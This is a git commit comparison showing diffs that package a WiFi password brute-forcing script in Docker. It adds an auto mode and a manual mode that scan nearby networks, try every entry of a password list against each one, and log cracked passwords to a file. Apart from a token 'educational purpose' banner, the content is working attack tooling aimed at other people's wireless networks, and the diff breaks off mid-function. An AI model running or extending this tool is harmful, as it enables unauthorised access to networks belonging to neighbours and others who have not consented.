Compare commits

9 Commits
Author SHA1 Message Date
marc 648abf84ee mode manual and auto 2023-03-14 23:34:09 +01:00
marc babf649d7c messing with networks 2023-03-10 22:10:00 +01:00
marc 5485808b41 passwords.txt 2023-03-10 21:01:01 +01:00
marc 0319473107 scripts too 2023-03-10 20:43:32 +01:00
marc b8cf92b9eb wifi brute 2023-03-10 20:25:11 +01:00
marc 4816cdb94e ok 2023-03-10 20:20:53 +01:00
marc 21dee77ebb docker-compose.yml 2023-03-10 20:20:43 +01:00
marc 679b173a8b Dockerfile 2023-03-10 20:19:00 +01:00
marc 1cb70a8c57 gitignore 2023-03-10 20:18:56 +01:00
4 changed files with 57 additions and 13 deletions
+2
View File
@@ -0,0 +1,2 @@
already_tried_password
__pycache__
+9
View File
@@ -0,0 +1,9 @@
FROM python:alpine
RUN apk update
RUN pip install pywifi colorama
COPY scripts scripts
COPY already_tried_passwords.txt avail_nearby_wifis.txt passwords.txt ./
COPY wifi-brute.py ./
ENTRYPOINT ["python", "wifi-brute.py"]
+11
View File
@@ -0,0 +1,11 @@
version: "3.9"
services:
wifi-brute:
image: marcpartensky/wifi-brute
build: .
network_mode: host
volumes:
- ./already_tried_password:/root/already_tried_password
# - /var/run/wpa_supplicant/wlan0:/var/run/wpa_supplicant/wlan0
cap_add:
- NET_ADMIN
+35 -13
View File
@@ -1,6 +1,7 @@
import os
import platform
import sys
try:
import pywifi
except ModuleNotFoundError:
@@ -56,7 +57,7 @@ clear()
sprint(f"\n\n{r} Note: {c}This tool is only made for educational purpose... -_+")
sprint(f"\n{g}Preparing...")
time.sleep(2)
# time.sleep(2)
clear()
banner()
@@ -78,6 +79,10 @@ def scan(face):
def main():
wifi = pywifi.PyWiFi()
# interfaces = wifi.interfaces()
# for interface in interfaces:
# print(interface)
# inface = input("interface:")
inface = wifi.interfaces()[0]
scanner = scan(inface)
@@ -85,19 +90,37 @@ def main():
num = len(scanner)
print(f"{r}Number of wifi found: {ran}{str(num)}")
input(f"{y}\nPress enter to start___")
for i,x in enumerate(scanner):
res = test(num-i , inface , x , passwords , ts)
# input(f"{y}\nPress enter to start___")
scanner_queue = list(scanner)
if res:
print(ran + "="*20)
print(f"{r}Password found : {c}{str(res)}\n")
if os.environ.get("AUTO"):
for i,x in enumerate(scanner_queue):
search(num, i, inface, x)
else:
i = -1
while len(scanner_queue):
scanner_dict = {}
for scanner in scanner_queue:
scanner_dict[scanner.ssid.strip()] = scanner
print(scanner.ssid.strip())
ssid = input("ssid: ")
print(ssid)
x = scanner_dict[ssid]
i += 1
search(num, i, inface, x)
with open("avail_nearby_wifis.txt", "a") as f:
f.write(str(res) + "\n")
print(ran + "="*20)
def search(num, i, inface, x):
res = test(num-i , inface , x , passwords , ts)
if res:
print(ran + "="*20)
print(f"{r}Password found : {c}{str(res)}\n")
with open("avail_nearby_wifis.txt", "a") as f:
f.write(str(res) + "\n")
print(ran + "="*20)
def test(i ,face,x,key,ts):
@@ -107,12 +130,11 @@ def test(i ,face,x,key,ts):
print(f"{r}[!] {y}Password tried -- {str(wifi_name)}\n{g}Password is known!")
return False
print(ran + "Trying to connect to wifi "+str(wifi_name))
print(ran + "Trying to connect to wifi '"+str(wifi_name)+"'")
for n,password in enumerate(key):
if wifi_name+"--"+password in found:
print(r + "Password already found +_+")
continue
else:
with open("already_tried_password" , "a") as f: